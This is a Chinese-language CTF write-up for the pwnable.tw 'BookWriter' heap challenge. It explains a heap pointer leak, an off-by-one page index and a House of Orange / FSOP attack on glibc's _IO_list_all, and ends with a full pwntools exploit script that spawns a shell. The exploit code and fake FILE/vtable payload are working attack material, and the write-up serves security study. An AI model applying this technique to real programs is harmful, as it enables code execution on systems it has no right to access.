首先,我们检查一下程序开了哪些缓解措施

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

接着,对程序作了简单的逆向,发现了几处漏洞点:

  • 在获取author时,没有用\x00截断,因为authorpages ptr相邻,若pages[0]已经有数据,则会泄漏堆的指针
  • edit的时候也没有使用\x00截断,导致可能错误的计算size,越界写
  • 因为pages最多含有8个元素,而在add page的时候错误的判断if ( i > 8 )导致第九个page的指针会覆盖掉page[0]size

我们输入在author输入0x40长度的字符串,然后add添加一个0x18大小的page[0],填充18字节的数据。调用info则会将heap指针打印出来。这里选择0x18的原因是因为分配堆的时候16字节对齐,最后8字节会占用下一块的PREV_SIZE

然后,edit编译pages[0],再输入0x18个字符,因为strlen错误的计算的长度,此时pages[0]sizestrlen(0x18 + strlen(top_chunk_size))

getinput_400856((__int64)pages_6020A0[v1], page_size_6020E0[v1]);
page_size_6020E0[v1] = strlen(pages_6020A0[v1]);// error size
return puts("Done !");

接着,我们就可以继续edit来编辑top chunk的大小了。将top chunk的大小改成0xfe1。因为函数里调用了scanf,且scanf会分配0x1000大小的堆且不回收,且0x1000 > 0xfe1。所以,在函数结束后,系统会把top chunk放入unsorted bin里。

我们继续使用edit来编辑pages[0],这时,输入\x00来使得pages[0]size为0,绕过add时候的检测,用来添加pages[8],完成指针覆盖pages[0]size

for ( i = 0; ; ++i )
{
if ( i > 8 )
return puts("You can't add new page anymore!");
if ( !pages_6020A0[i] ) // check
break;
}

接着,我们添加pages[1]-pages[8],每个都输入8个字节,这里是为了将unsorted bin addr也就是main_arena + 0x58打印出来(因为此时我们分配的内存都是从unsorted bin切分出来的)。我们可以通过view pages[3]来得到main_arena + 0x58的地址。此时,我们就可以得到libc的基址了。

此时,pages[0]size已经是堆的地址了,就可以使用edit越界写其他数据了,也可以写unsorted binFDBK,即可以利用FSOP来完成利用。

我们需要把unsorted bin用以下内容覆盖

data = '/bin/sh\x00'
data += p64(0x61)
data += p64(unsortedbin_addr)
data += p64(libc_base + libc.symbols['_IO_list_all'] - 0x10)
data += p64(2)
data += p64(3)
data = data.ljust(0xc0, '\x00')
data + p64(0xffffffffffffffff)
data = data.ljust(0xe0-8, '\x00')
vtable = p64(0) * 3 + p64(libc_base + libc.symbols['system'])
vtable_addr = heap_addr + 0x310 + 0xe0
data += p64(vtable_addr)
data += vtable

之后再分配一块内存就会执行system(/bin/sh),我们来看下面分析。

首先,_IO_list_all的结构如下

extern struct _IO_FILE_plus *_IO_list_all;
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_FILE FILE;
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

在分配一块内存时,首先会从unsorted bin中拆下来一块。

victim = unsorted_chunks(av)->bk
bck = victim->bk;
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

此时,_IO_list_all已经被改写成了main_arena+0x58。所以_IO_list_all已经变成了如下内容

$2 = {
file = {
...
_IO_save_end = 0x0,
_markers = 0x0,
_chain = main_arena + 0x58 + 0x60, //offset = 0x68
...
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = ... <_IO_file_jumps>
}

然而,main_arena + 0x58 + 0x60small_bin[4]FDBK。又因为,分配内存时,由于unsorted bin的大小已经被我们改写成了0x61,所以会先把unsorted bin加入small_bin[4],所以此时_IO_list_all->_chain指向的内容已经是我们可以控制的了。

_IO_list_all->_chain还是部署一个FILE结构体(此时,这里已经变成unsorted bin

int _IO_flush_all_lockp (int do_lock)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // exec system(/bin/sh)
result = EOF;
...
}

所以,要执行_IO_OVERFLOW(fp, EOF)必须要满足两点

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

所以,需要满足unsorted bin + 0xC0 <= 0unsorted bin + 0x28 > unsorted bin + 0x20,又因为_IO_OVERFLOWvtable + 0x18处,所以要将vtable + 0x18改为system的地址。

因为在分配的时候,unsorted bin -> BK = _IO_list_all - 0x10,检测到victim->size=0,会触发异常,flush所有的IO流。

if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption"); // <---- HERE
size = chunksize (victim);

后面的执行链malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp -> _IO_OVERFLOW。导致执行system(/bin/sh)

# encoding:utf-8
from pwn import *
r = remote('chall.pwnable.tw', 10304)
#r = process('./bookwriter', env = {'LD_PRELOAD':'./libc_64.so.6'})
#r = process('./bookwriter')
#libc = ELF('./libc.so.6')
libc = ELF('./libc_64.so.6')
#context.log_level = 'DEBUG'
def add_page(size, content):
r.recvuntil('Your choice :')
r.sendline('1')
r.recvuntil('Size of page :')
r.sendline(str(size))
r.recvuntil('Content :')
r.send(content)
def view_page(idx):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index of page :')
r.sendline(str(idx))
r.recvuntil('Content :\n')
return r.recvline()
def edit_page(idx, content):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Index of page :')
r.sendline(str(idx))
r.recvuntil('Content:')
r.sendline(content)
def info(choice, leak = 0, au = ''):
r.recvuntil('Your choice :')
r.sendline('4')
r.recvuntil('Author : ')
if leak == 0:
author = r.recvline()
else:
author = r.recv(0x40+5)
r.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
r.sendline(str(choice))
if str(choice) == "1":
r.recvuntil('Author :')
r.sendline(au)
return author
return author
r.recvuntil('Welcome to the BookWriter !')
r.sendline('a' * 0x40)
add_page(0x18,0x18 * 'a')
edit_page(0, 0x18*'a')
edit_page(0, 0x18*'a' + '\xe1\x0f\x00')
edit_page(0, '\x00'*8)
ret = info(0, 1)[:-1]
heap_addr = u64(ret[0x40:0x44].ljust(8, '\x00'))
log.success('HEAP ADDR => [%s]' % hex(heap_addr))
for i in xrange(0, 8):
add_page(0x50, 'a'*8)
ret = view_page(4)
unsortedbin_addr = u64(ret[8:8+6].ljust(8, '\x00'))
#libc_base = unsortedbin_addr - 0x3c4b78 #local
libc_base = unsortedbin_addr - 0x3c3b78
log.success('UNSORTEDBIN ADDR => [%s]' % hex(unsortedbin_addr))
log.success('LIBC ADDR => [%s]' % hex(libc_base))
system_addr = libc_base + libc.symbols['system']
vtable = p64(0) * 3 + p64(libc_base + libc.symbols['system'])
vtable_addr = heap_addr + 0x310 + 0xe0
data_pad = '\x00' * 0x310
data = '/bin/sh\x00'
data += p64(0x61)
data += p64(unsortedbin_addr)
data += p64(libc_base + libc.symbols['_IO_list_all'] - 0x10)
data += p64(2)
data += p64(3)
data = data.ljust(0xc0, '\x00')
data + p64(0xffffffffffffffff)
data = data.ljust(0xe0-8, '\x00')
data += p64(vtable_addr)
data += vtable
edit_page(0, data_pad + data)
r.recvuntil('Your choice :')
r.sendline('1')
r.recvuntil('Size of page :')
r.sendline('20')
r.interactive()

REFER

http://www.freebuf.com/articles/system/151407.html

https://www.cnblogs.com/shangye/p/6268981.html

http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html